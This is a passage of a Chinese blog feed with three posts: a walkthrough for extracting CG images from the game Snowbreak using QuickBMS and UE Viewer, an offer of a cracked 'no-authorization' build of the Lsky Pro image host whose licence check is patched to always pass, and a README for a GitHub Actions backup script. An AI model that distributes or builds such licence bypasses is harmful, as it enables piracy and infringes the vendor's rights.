&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-16-37-image.DgEXlnK0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;确认虚幻引擎版本&lt;/h1&gt;
&lt;p&gt;导航到放置尘白禁区游戏本体的EXE的目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\SeasunCBJQos\Game\cbjq\game\Game\Binaries\Win64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;右键 &lt;code&gt;Game.exe&lt;/code&gt; ,单击属性,转到 &lt;code&gt;详细信息&lt;/code&gt; 一栏。可以看到是 &lt;code&gt;UE4 4.26&lt;/code&gt; 。记住他,后文要用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-18-47-image.B5qBcPZo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;将有关CG的PAK文件分离出来&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\SeasunCBJQos\Game\cbjq\game\Game\Content\Paks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里列出了所有的PAK文件由于我们只需要CG图故也只需要解包类似 &lt;code&gt;PAK_Game_UI_X-WindowsNoEditor.pak&lt;/code&gt; 这样的文件&lt;/p&gt;
&lt;p&gt;将其分离到一个单独的文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-22-23-image.Bp0LKK-_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;解包&lt;/h1&gt;
&lt;p&gt;下载解包脚本 https://r2.072103.xyz/snowbreak.bms&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://aluigi.altervista.org/quickbms.htm&quot;&gt;Luigi Auriemma&lt;/a&gt; 下载 &lt;code&gt;QuickBMS&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-22-37-image.DaYxT_rm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-22-58-image.3TQmQf2u.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步 选择解包脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-25-15-image.Ct5bFdOK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步 选择原始PAK文件所在的文件夹。选中文件夹后在文件名输入 &lt;code&gt;*&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-25-58-image.Qg1XlWGF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步 选择解包后输出目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-26-32-image.B-jDShbv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待解包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-26-55-33683f308e84beb12f81c22c9702a4a4.CMaplMDR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解包完成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-28-27-image.CV7C7W-0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;查看解包后的文件&lt;/h1&gt;
&lt;p&gt;解包后我们就得到了一般UE引擎封装的 &lt;code&gt;.uasset&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;我们需要使用另一个工具将其导出为一般格式的文件&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://www.gildor.org/en/projects/umodel#files&quot;&gt;UE Viewer | Gildor&apos;s Homepage&lt;/a&gt; 。点击 &lt;code&gt;Win32 Version&lt;/code&gt; 下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-30-01-image.BvpI-RK2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;umodel_64.exe&lt;/code&gt;&lt;code&gt;Path to game files:&lt;/code&gt; 填写通过 &lt;code&gt;QuickBMS&lt;/code&gt; 解包后的输出文件夹,勾选 &lt;code&gt;Override game detection&lt;/code&gt; 并选择 UE4 4.26,也就是最开始我们获取的虚幻引擎版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-32-43-image.CLtPPL8H.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就可以在 &lt;code&gt;UE Viewer&lt;/code&gt; 里面查看 &lt;code&gt;.uasset&lt;/code&gt; 文件了。但是这个文件浏览器很难用我推荐导出后使用Windows资源管理器查看&lt;/p&gt;
&lt;p&gt;右键你要导出的文件夹,比如 &lt;code&gt;All Package&lt;/code&gt; 或者 &lt;code&gt;Game&lt;/code&gt; ,点击 &lt;code&gt;Export folder content&lt;/code&gt; 。可以选择一下输出文件夹,我这边是默认&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-35-49-image.xriTFmq7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你就可以在你设置的导出文件夹查看到所有一般格式的资源文件了,比如&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-36-37-image.CZQOXbDl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;获取CG图&lt;/h1&gt;
&lt;p&gt;全局搜索关键字 &lt;code&gt;PlotCG&lt;/code&gt; 就可以啦&lt;/p&gt;
&lt;p&gt;导出后的图片CG文件为 &lt;code&gt;.TGA&lt;/code&gt; 文件,是无损图像格式,我们可以通过 &lt;a href=&quot;https://www.bandisoft.com/bandiview/&quot;&gt;BandiView - 图像查看器、快速且强大&lt;/a&gt; 来查看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-24-01-13-41-3824c5ece06cc56241688f4a4aacbcbd.t2hYbuVO.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>lskypro+本地无需授权开心版!</title><link>https://blog.acofork.com/posts/lskypro-local/</link><guid isPermaLink="true">https://blog.acofork.com/posts/lskypro-local/</guid><description>突然发现交付给我的项目是源码那还逆向什么授权直接永远返回true呗~</description><pubDate>Fri, 22 Aug 2025 04:16:23 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;仅供学习交流请在下载后24h内删除。体验地址 &lt;a href=&quot;https://lsky.2x.nz&quot;&gt;https://lsky.2x.nz&lt;/a&gt;
视频教程: https://www.bilibili.com/video/BV1UieUzQEvq/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;安装包体&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;http://r2.072103.xyz/2xnzlskypro223.zpaq&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/Eenhpe5Kt0RLopi_n6Ud-qMBh6fmDsXKaB8csLIVLu-FEQ?e=Z6QLGn&quot;&gt;OneDrive - 2xnzlskypro223.zpaq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;密码: 2xnz二叉树树&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;zpaq可以使用 &lt;a href=&quot;https://www.bandisoft.com/bandizip/&quot;&gt;Bandizip 官方网站 - 免费压缩软件下载 (Windows)&lt;/a&gt; 进行解压,旧版不支持&lt;/p&gt;
&lt;h1&gt;我们做了什么?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装过程中无论输入授权密钥为任何值直接内部返回true不再请求授权服务器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;版本更新不再请求授权服务器,始终返回当前版本为最新版本&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有操作不经过授权服务器,全部本地执行&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;其余环境配置和通用安装步骤&lt;/h1&gt;
&lt;p&gt;参考 上一篇的 &lt;a href=&quot;/posts/hack-lskypro/&quot;&gt;授权绕过教程&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;简略安装过程&lt;/h1&gt;
&lt;p&gt;授权密钥随便填直接过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-22-04-21-45-8d13151d19e627bd9e614517aeb5dbe6.ChLNHip9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;系统升级已Hook定死版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-22-04-22-19-image.Bsf5rdCh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-22-04-22-37-image.Bz4GEfpc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>cloudflare-imgbed项目使用Action自动备份元数据到仓库</title><link>https://blog.acofork.com/posts/cloudflare-imgbed-auto-backup/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cloudflare-imgbed-auto-backup/</guid><description>CloudFlare-ImgBed项目用基于GitHub Actions定期自动备份数据脚本</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup&quot;&gt;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup&lt;/a&gt;
&lt;a href=&quot;https://github.com/MarSeventh/CloudFlare-ImgBed&quot;&gt;CloudFlare-ImgBed项目&lt;/a&gt;用基于GitHub Actions定期自动备份数据脚本&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]&lt;/p&gt;
&lt;h2&gt;🚨 重要安全提醒 🚨&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;⚠️ 在备份文件中包含重要的敏感信息数据!&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为了保护您的数据安全,程序内置了仓库隐私检查功能:&lt;/li&gt;
&lt;li&gt;每次运行前自动检查仓库是否为 &lt;strong&gt;私有&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;因此,在使用本项目前请确保您已将仓库&lt;strong&gt;解除复刻网络&lt;/strong&gt;并更改为&lt;strong&gt;私有&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如果仓库为公开状态,程序将拒绝执行并显示安全警告&lt;br /&gt;
&lt;strong&gt;步骤你的仓库➡Settings➡General➡划到最下面Danger➡Leave fork network➡Change repository visibility&lt;/strong&gt;&lt;br /&gt;
(其实公开仓库不会执行actions)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;功能特性&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;🕒 &lt;strong&gt;定时备份&lt;/strong&gt;: 每天UTC+8的200自动执行备份任务&lt;/li&gt;
&lt;li&gt;🔐 &lt;strong&gt;安全认证&lt;/strong&gt;: 通过仓库机密统一管理&lt;/li&gt;
&lt;li&gt;🛡️ &lt;strong&gt;隐私保护&lt;/strong&gt;: 强制检查仓库隐私状态,防止敏感数据泄露&lt;/li&gt;
&lt;li&gt;📁 &lt;strong&gt;自动管理&lt;/strong&gt;: 自动保存和管理备份文件&lt;/li&gt;
&lt;li&gt;🚀 &lt;strong&gt;GitHub Actions&lt;/strong&gt;: 完全基于GitHub Actions运行&lt;/li&gt;
&lt;li&gt;🧹 &lt;strong&gt;自动清理&lt;/strong&gt;: 自动清理旧备份文件默认保留最近100个可自定义&lt;/li&gt;
&lt;li&gt;🔍 &lt;strong&gt;智能检测&lt;/strong&gt;: 通过MD5自动检测数据变化只在有变更时保存备份&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;快速开始&lt;/h2&gt;
&lt;p&gt;请确保你的cloudflare-imgbed版本大于V2.0.3&lt;/p&gt;
&lt;h3&gt;1. 🔒 确保仓库为私有&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要请务必确保您的仓库设置为私有Private状态&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;前往您的GitHub仓库主页&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Settings&lt;/code&gt; 选项卡&lt;/li&gt;
&lt;li&gt;滚动到页面底部的 &lt;code&gt;Danger Zone&lt;/code&gt; 区域&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Leave fork network&lt;/code&gt; 将你的仓库脱离复刻网络
&lt;img src=&quot;https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755364661684.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Change repository visibility&lt;/code&gt; 选择 &lt;code&gt;Make private&lt;/code&gt; 将仓库设为私有
&lt;img src=&quot;https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755365226055.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. 配置GitHub仓库机密&lt;/h3&gt;
&lt;p&gt;在你的GitHub仓库中进入 &lt;code&gt;Settings&lt;/code&gt; -&amp;gt; &lt;code&gt;Secrets and variables&lt;/code&gt; -&amp;gt; &lt;code&gt;Actions&lt;/code&gt;,添加以下机密:
&lt;img src=&quot;https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755366168729.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;strong&gt;必需配置&lt;/strong&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;机密名称&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BACKUP_URL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;网站完整URL包含协议和端口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cfbed.1314883.xyz&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BACKUP_USERNAME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;登录用户名BASIC_USER&lt;/td&gt;
&lt;td&gt;&lt;code&gt;your_username&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BACKUP_PASSWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;登录密码BASIC_PASS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;your_password&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;可选配置&lt;/strong&gt; (不设置将使用默认值):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;机密名称&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例值&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAX_BACKUPS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最大保留备份文件数量&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1145&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;100&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ENABLE_CHANGE_DETECTION&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;启用智能变更检测&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true/false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;2. 启用GitHub Actions&lt;/h3&gt;
&lt;p&gt;确保你的仓库已启用GitHub Actions功能。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 程序会自动将你提供的URL拼接成完整的API路径&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入: &lt;code&gt;cfbed.1314883.xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;自动拼接为: &lt;code&gt;https://cfbed.1314883.xyz/api/manage/sysConfig/backup?action=backup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;支持 HTTP 和 HTTPS 协议,会保持你指定的协议类型&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]&lt;br /&gt;
如果你是http/非标准端口请在变量中填完整的URL&lt;code&gt; http://cfbed.1314883.xyz:11451&lt;/code&gt;&lt;br /&gt;
默认拼接为https&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3. 执行备份&lt;/h3&gt;
&lt;p&gt;备份程序会:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自动执行&lt;/strong&gt;: 每天北京时间02:00自动运行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手动触发&lt;/strong&gt;: 你也可以在Actions页面手动触发备份
如果您是第一次部署本项目请在Action中手动执行一次确保执行正常
&lt;img src=&quot;https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755367335196.png&quot; alt=&quot;alt text&quot; /&gt;
正确输出:&lt;br /&gt;
&lt;img src=&quot;https://imgbed.112601.xyz/file/cloudflare-imgbed-auto-backup/1755368429729.png&quot; alt=&quot;正确输出&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;文件结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cloudflare-imgbed-auto-backup/
├── .github/
│ └── workflows/
│ └── backup.yml # GitHub Actions工作流配置
├── backups/ # 备份文件存储目录
│ ├──.privacy_verified # 安全性证明文件
│ ├── backup_20240816_100000.json
│ ├── backup_20240817_100000.json
│ └── latest_backup.json # 最新备份文件
├── backup_script.py # 主备份脚本
├── requirements.txt # Python依赖
└── README.md # 说明文档
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;备份文件说明&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;带时间标志的备份文件&lt;/strong&gt;: &lt;code&gt;backup_YYYYMMDD_HHMMSS.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最新备份文件&lt;/strong&gt;: &lt;code&gt;latest_backup.json&lt;/code&gt; (始终指向最新的备份)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动清理&lt;/strong&gt;: 程序会自动保留最近的指定数量个备份文件默认100个&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🔍 智能变更检测&lt;/h2&gt;
&lt;p&gt;程序默认启用智能变更检测功能,只有在数据发生变化时才会保存新的备份文件:&lt;/p&gt;
&lt;h3&gt;检测原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用MD5哈希算法计算JSON数据的指纹&lt;/li&gt;
&lt;li&gt;将新下载的数据与最新备份文件进行对比&lt;/li&gt;
&lt;li&gt;只有当哈希值不同时才保存新的备份文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;优势&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节省存储空间&lt;/strong&gt;: 避免保存重复的备份文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少提交噪音&lt;/strong&gt;: GitHub仓库不会产生无意义的提交&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提高效率&lt;/strong&gt;: 跳过无变化的备份操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;控制选项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;启用&lt;/strong&gt;: &lt;code&gt;ENABLE_CHANGE_DETECTION=true&lt;/code&gt; (默认)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;禁用&lt;/strong&gt;: &lt;code&gt;ENABLE_CHANGE_DETECTION=false&lt;/code&gt; (强制每次都备份)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;特殊情况处理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;首次备份&lt;/strong&gt;: 没有历史数据时,总是保存备份&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算错误&lt;/strong&gt;: 无法计算哈希时,为安全起见会强制保存备份&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件缺失&lt;/strong&gt;: 找不到最新备份文件时,会保存新的备份&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🛡️ 仓库隐私保护功能&lt;/h2&gt;
&lt;p&gt;为了防止敏感数据泄露,程序内置了强制的仓库隐私检查功能。
&lt;a href=&quot;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/blob/main/SECURITY_FEATURES.md&quot;&gt;详见&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;强制执行,无配置选项可以禁用此功能&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常见问题&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q: 为什么需要这个功能?&lt;/strong&gt;&lt;br /&gt;
A: 在导出的JSON文件中包含TG变量与S3端点信息等属于十分敏感的信息为安全起见本项目仅允许私有仓库使用。公开仓库会让任何人都能访问这些数据造成严重的安全风险。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: 可以禁用这个检查吗?&lt;/strong&gt;&lt;br /&gt;
A: 不可以。为了确保数据安全,此功能强制执行,无法禁用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: 检查失败了怎么办?&lt;/strong&gt;&lt;br /&gt;
A: 按照错误提示将仓库设置为私有,然后重新运行备份任务。程序会自动重新检查。如还有错误请提起&lt;a href=&quot;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/issues&quot;&gt;ISSUE&lt;/a&gt;,请不要提交有关隐私的信息&lt;/p&gt;
&lt;h2&gt;🌐 HTTP/HTTPS 协议支持&lt;/h2&gt;
&lt;p&gt;程序支持 HTTP 和 HTTPS 两种协议,并能智能处理不同的网络环境:&lt;/p&gt;
&lt;h3&gt;HTTP 协议特殊情况&lt;/h3&gt;
&lt;h4&gt;1. &lt;strong&gt;混合内容问题&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;在 GitHub Actions 环境中HTTP 连接可能会受到安全策略限制&lt;/li&gt;
&lt;li&gt;如果遇到连接问题,建议优先使用 HTTPS&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. &lt;strong&gt;端口配置&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTTP 默认端口80&lt;/li&gt;
&lt;li&gt;HTTPS 默认端口443&lt;/li&gt;
&lt;li&gt;自定义端口:如 &lt;code&gt;http://example.com:8080/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;程序会保持你指定的端口号&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. &lt;strong&gt;SSL/TLS 证书问题&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTTP 连接不涉及证书验证&lt;/li&gt;
&lt;li&gt;如果你的 HTTPS 使用自签名证书,可能需要特殊处理,懒得写这块了&lt;s&gt;也没人给图床用自签吧&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. &lt;strong&gt;连接超时设置&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;程序默认超时时间30秒&lt;/li&gt;
&lt;li&gt;对于较慢的服务器,可能需要调整超时时间&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常见问题解决&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;Connection refused&quot; 错误&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 检查服务是否运行
netstat -tulpn | grep 40968
# 检查防火墙状态
sudo ufw status
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;Certificate verify failed&quot; 错误&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这通常发生在 HTTPS 连接中&lt;/li&gt;
&lt;li&gt;确保证书有效或使用 HTTP 协议&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;Timeout&quot; 错误&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检查网络连接&lt;/li&gt;
&lt;li&gt;确认服务器响应时间&lt;/li&gt;
&lt;li&gt;考虑增加超时时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;本地运行&lt;/h2&gt;
&lt;p&gt;如果你想在本地运行备份脚本:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;安装依赖:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;设置环境变量:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;export BACKUP_URL=&quot;http://&quot;
export BACKUP_USERNAME=&quot;your_username&quot;
export BACKUP_PASSWORD=&quot;your_password&quot;
export MAX_BACKUPS=&quot;100&quot; # 可选默认100
export ENABLE_CHANGE_DETECTION=&quot;true&quot; # 可选默认true
# 本地运行时需要设置以下变量进行隐私检查:
export GITHUB_TOKEN=&quot;your_github_token&quot; # GitHub Personal Access Token
export GITHUB_REPOSITORY=&quot;username/repo-name&quot; # 仓库名称
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;本地运行说明&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本地运行时也会执行隐私检查,需要设置有效的 &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;&lt;code&gt;GITHUB_REPOSITORY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果您需要在测试环境中跳过检查,请修改源代码 &lt;code&gt;self.force_private_repo&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;运行脚本:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;python backup_script.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;故障排除&lt;/h2&gt;
&lt;h3&gt;常见问题&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;🔒 仓库隐私检查失败&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题&lt;/strong&gt;: 显示&quot;仓库当前为公开状态&quot;错误&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决&lt;/strong&gt;: 将仓库设置为私有
&lt;ol&gt;
&lt;li&gt;前往 GitHub 仓库设置: &lt;code&gt;https://github.com/用户名/仓库名/settings&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;滚动到底部 &lt;code&gt;Danger Zone&lt;/code&gt; 区域&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Change repository visibility&lt;/code&gt;&lt;code&gt;Make private&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;: 程序会拒绝在公开仓库中备份敏感数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitHub API 访问失败&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题&lt;/strong&gt;: &quot;无法验证仓库隐私状态&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;: GitHub Token 权限不足或网络问题&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决&lt;/strong&gt;: 确认 Actions 有足够权限访问仓库信息(通常 &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; 自动提供)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认证失败&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检查用户名和密码是否正确&lt;/li&gt;
&lt;li&gt;确认GitHub机密设置正确&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
